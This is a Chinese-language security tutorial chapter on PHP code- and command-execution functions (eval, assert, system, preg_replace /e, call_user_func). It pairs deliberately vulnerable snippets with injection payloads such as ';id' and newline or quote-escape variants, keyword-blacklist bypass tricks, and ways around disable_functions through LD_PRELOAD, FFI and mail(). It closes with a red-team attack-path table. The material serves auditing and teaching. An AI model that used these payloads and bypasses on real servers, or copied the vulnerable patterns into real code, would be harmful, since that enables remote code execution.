目录
一、代码执行函数
代码执行 = 把字符串当 PHP 代码 执行。
eval
<?php
eval($_GET['code']); // 直接执行 PHP 代码
eval("echo 1+1;");
?>
| 特性 | 说明 |
|---|
| 本质 | 语言结构(不是函数),无返回值 |
| 传参 | 必须是合法 PHP 代码字符串,自带分号 |
| 绕过黑名单 | eval 无法用变量函数/字符串拼接直接调用(它是语言结构) |
<?php
// eval 的常见变形(WAF 检测 eval 时)
eval("\x65\x63\x68\x6f\x20\x68\x69;"); // hex 解码后执行
$a = 'e'.'v'.'a'.'l'; $a("phpinfo();"); // 字符串拼接构造函数名(PHP7 前可行)
?>
PHP 7+ 中 eval 是语言结构,call_user_func('eval', ...) 会失败;变形调用主要针对正则黑名单。
assert
<?php
assert($_GET['code']); // PHP 7 默认可执行字符串代码
assert("system('id')"); // 字符串形式
?>
| 版本 | 行为 |
|---|
| PHP 5.x | assert('phpinfo()') 直接执行字符串 |
| PHP 7.0-7.2 | assert 是函数,字符串可执行(zend.assertions=1 时) |
| PHP 7.2+ | 字符串执行被标记弃用,assert 是函数,可用变量函数调用 |
| PHP 8 | assert 变为语言结构,字符串不再执行代码 |
<?php
// PHP7 时代的经典 RCE
// ?code=system('id')
// 过滤 eval/system 时常用 assert 绕过
?>
create_function(PHP 7 已移除)
<?php
// PHP 5.x:create_function 动态创建匿名函数
$f = create_function('$x', 'return '.$_GET['code'].';');
// code=system('id') → 拼接进函数体 → 执行
?>
回调类函数(callable 型)
<?php
// 任意可回调参数 + 用户可控 → RCE
call_user_func($_GET['f'], $_GET['arg']); // f=system&arg=id
array_map($_GET['f'], array($_GET['arg']));
usort($arr, $_GET['f']);
preg_replace("/x/e", $_GET['code'], "x"); // 见三节
?>
二、命令执行函数
命令执行 = 把字符串交给 操作系统 shell 执行。
常用函数
<?php
system("id"); // 执行并直接输出
exec("id"); // 只返回最后一行
shell_exec("id"); // 返回全部输出
passthru("id"); // 直接输出原始二进制
`id`; // 反引号 = shell_exec
popen("id", "r"); // 进程管道
proc_open(...); // 高级进程控制
?>
| 函数 | 输出方式 | 审计特征 |
|---|
system() | 直接打印 | system($cmd) |
exec() | 返回末行 | exec($cmd, $out) |
shell_exec() | 返回全文 | 反引号 `$cmd` |
passthru() | 原始输出 | 二进制场景 |
popen() | 流句柄 | popen($cmd,"r") |
典型漏洞代码
<?php
// 最常见:直接拼接
$ip = $_GET['ip'];
system("ping -c 1 " . $ip);
// ?ip=127.0.0.1;id → 分号注入
// ?ip=127.0.0.1|id → 管道
// ?ip=127.0.0.1%0aid → 换行
?>
<?php
// 半过滤:只过滤部分字符
$ip = str_replace(";", "", $_GET['ip']);
system("ping -c 1 " . $ip);
// ?ip=127.0.0.1%0aid → 换行符绕过
// ?ip=127.0.0.1||id → 双管道
// ?ip=127.0.0.1%26%26id → && 编码绕过
?>
命令注入分隔符
| 分隔符 | 作用 | URL 编码 |
|---|
; | 顺序执行 | %3b |
| | 管道(后命令输出走管道) | %7c |
|| | 前一失败才执行 | %7c%7c |
&& | 前一成功才执行 | %26%26 |
\n | 换行,多数 shell 等同分号 | %0a |
` | 反引号内命令替换 | 直接传 |
$() | 命令替换 | 直接传 |
三、preg_replace与e修饰符
e 修饰符(PHP 5.5 弃用,7.0 移除)
<?php
// PHP 5.x:/e 把替换串当 PHP 代码执行
preg_replace("/x/e", $_GET['code'], "x");
// ?code=system('id')
?>
| 版本 | 状态 |
|---|
| PHP < 5.5 | 可用,直接 RCE |
| PHP 5.5+ | 弃用告警 |
| PHP 7.0+ | 移除,/e 不再生效 |
现代替代:preg_replace_callback
<?php
// 现代写法用回调,但回调参数可控同样危险
preg_replace_callback("/x/", $_GET['cb'], "x");
// 若 cb 为恶意函数名(system 等),配合捕获组参数
?>
双引号回引问题
<?php
// 即使没有 /e,替换串里的 ${...} 在双引号中可执行
preg_replace("/x/e", "\${system('id')}", "x"); // 老版本经典
?>
审计:搜索 preg_replace 时注意 /e 修饰符与用户可控的替换串。
四、变量函数与动态调用
变量函数
<?php
$a = $_GET['f']; // f=system
$a($_GET['c']); // system($_GET['c']) → RCE
?>
call_user_func 系列
<?php
call_user_func($_GET['f'], $_GET['a']);
call_user_func_array($_GET['f'], array($_GET['a']));
?>
字符串拼接构造函数名
<?php
// 绕过函数名黑名单(正则匹配 "system" 时)
$f = "sys" . "tem";
$f("id");
?>
PHP 7+ 的可变函数限制
| 函数 | 能否变量调用 | 说明 |
|---|
system/exec/shell_exec | 能 | 普通函数 |
assert | 能(7.x) | PHP 8 变语言结构后不能 |
eval | 不能 | 语言结构 |
exit/die | 不能 | 语言结构 |
include/require | 不能 | 语言结构 |
echo/print | 不能 | 语言结构 |
isset/empty | 不能 | 语言结构 |
五、命令注入与拼接
危险拼接模式
| 模式 | 示例 | 注入手法 |
|---|
| 直接拼接 | system("ls " . $dir) | ; | && |
| 引号包裹 | system("grep '$k' f") | 闭合引号 ';id;' |
| 双引号包裹 | system("echo \"$v\"") | ";id;" |
| 命令替换 | system("cat $f") | $(id) 反引号 |
| 管道参数 | system("echo x | $cmd") | 直接注入 |
引号逃逸案例
<?php
// 漏洞代码
system("grep '" . $_GET['k'] . "' /var/log/app.log");
// ?k=x';id;'
// 实际执行: grep 'x';id;' /var/log/app.log → id 被当作新命令执行
?>
白名单函数的参数注入
<?php
// 允许 base64 解码,参数可控
shell_exec("echo " . base64_decode($_GET['b64']));
// b64 解码后含 ;id; → 注入
?>
六、disable_functions与绕过思路
禁用机制
; php.ini 或配置
disable_functions = system,exec,passthru,shell_exec,popen,proc_open
| 被禁用后 | 依然可用的命令执行入口 |
|---|
| 直接命令函数 | pcntl_exec()、mail() + -X 参数 |
mail() 注入 | mail("", "", "", "", "-X /tmp/shell.php") 写文件 |
| 脚本引擎 | FFI::cdef()(PHP 7.4+,需 ffi.enable=preload) |
| PHP 内置服务 | SplFileObject 配合流封装器(极少) |
| 扩展函数 | imap_open()(老版本参数注入 RCE) |
| LD_PRELOAD | putenv("LD_PRELOAD=/tmp/x.so") + 触发子进程(mail/error_log) |
| 反序列化+原生类 | php_filter 链、SplFileObject、SoapClient 等原生类利用 |
LD_PRELOAD 思路(经典)
<?php
// 1. 写 C 代码编译成 .so(上传或通过可写点)
// 2. 触发子进程执行(mail()/error_log 会 fork 进程)
putenv("LD_PRELOAD=/tmp/evil.so");
mail("a@b.c", "", ""); // 触发 fork → 加载 evil.so → 执行 system
?>
FFI 思路(PHP 7.4+)
<?php
$ffi = FFI::cdef("int system(const char *);", "libc.so.6");
$ffi->system("id");
// 需要 ffi.enable=preload 或 CLI 模式,条件苛刻但存在
?>
disable_functions 绕过是 WebShell 场景的进阶内容,详见 06 章与 权限提升章节。核心原则:函数被禁不代表执行被禁,找未禁的执行入口。
七、危险函数速查表
| 类别 | 函数 | 利用方式 |
|---|
| 代码执行 | eval() | 直接执行 PHP 代码 |
| 代码执行 | assert() | PHP7 字符串执行 |
| 代码执行 | create_function() | PHP5 动态函数 |
| 代码执行 | call_user_func*() | 回调可控 |
| 代码执行 | preg_replace /e | PHP5 替换串执行 |
| 命令执行 | system() | 输出 |
| 命令执行 | exec() | 末行返回 |
| 命令执行 | shell_exec() | 全文返回 |
| 命令执行 | ` 反引号 | shell_exec 别名 |
| 命令执行 | passthru() | 原始输出 |
| 命令执行 | popen()/proc_open() | 管道 |
| 文件包含 | include/require/include_once | LFI/RFI(见 05 章) |
| 文件读取 | file_get_contents/fopen/readfile | 任意文件读取 |
| 文件写入 | file_put_contents/fwrite | 写 WebShell |
| 反序列化 | unserialize() | 对象注入(见 07 章) |
| 删除 | unlink() | 破坏 |
| 数据库 | mysql_query/mysqli_query | SQLi(配合字符串拼接) |
| 上传 | move_uploaded_file() | 上传绕过(见 06 章) |
八、红队视角总结
| 场景 | 攻击路径 |
|---|
发现 eval($_GET[x]) | 直接打 PHP 代码,注意分号 |
发现 system($cmd) | 分隔符注入:; | %0a $() |
过滤 eval/system 关键字 | SYSTEM() 大小写、字符串拼接、assert |
| PHP5 站点 | preg_replace /e、create_function |
| PHP7 站点 | assert 字符串执行、变量函数 |
| 函数被 disable | LD_PRELOAD、FFI、mail() 注入、原生类链 |
只有 include | 进 05 章:filter/input/日志包含 |
审计搜索关键词:eval、assert、system、exec、shell_exec、passthru、popen、`、preg_replace、create_function、call_user_func、include、require、unserialize。
返回 PHP 总目录 | 前端基础总目录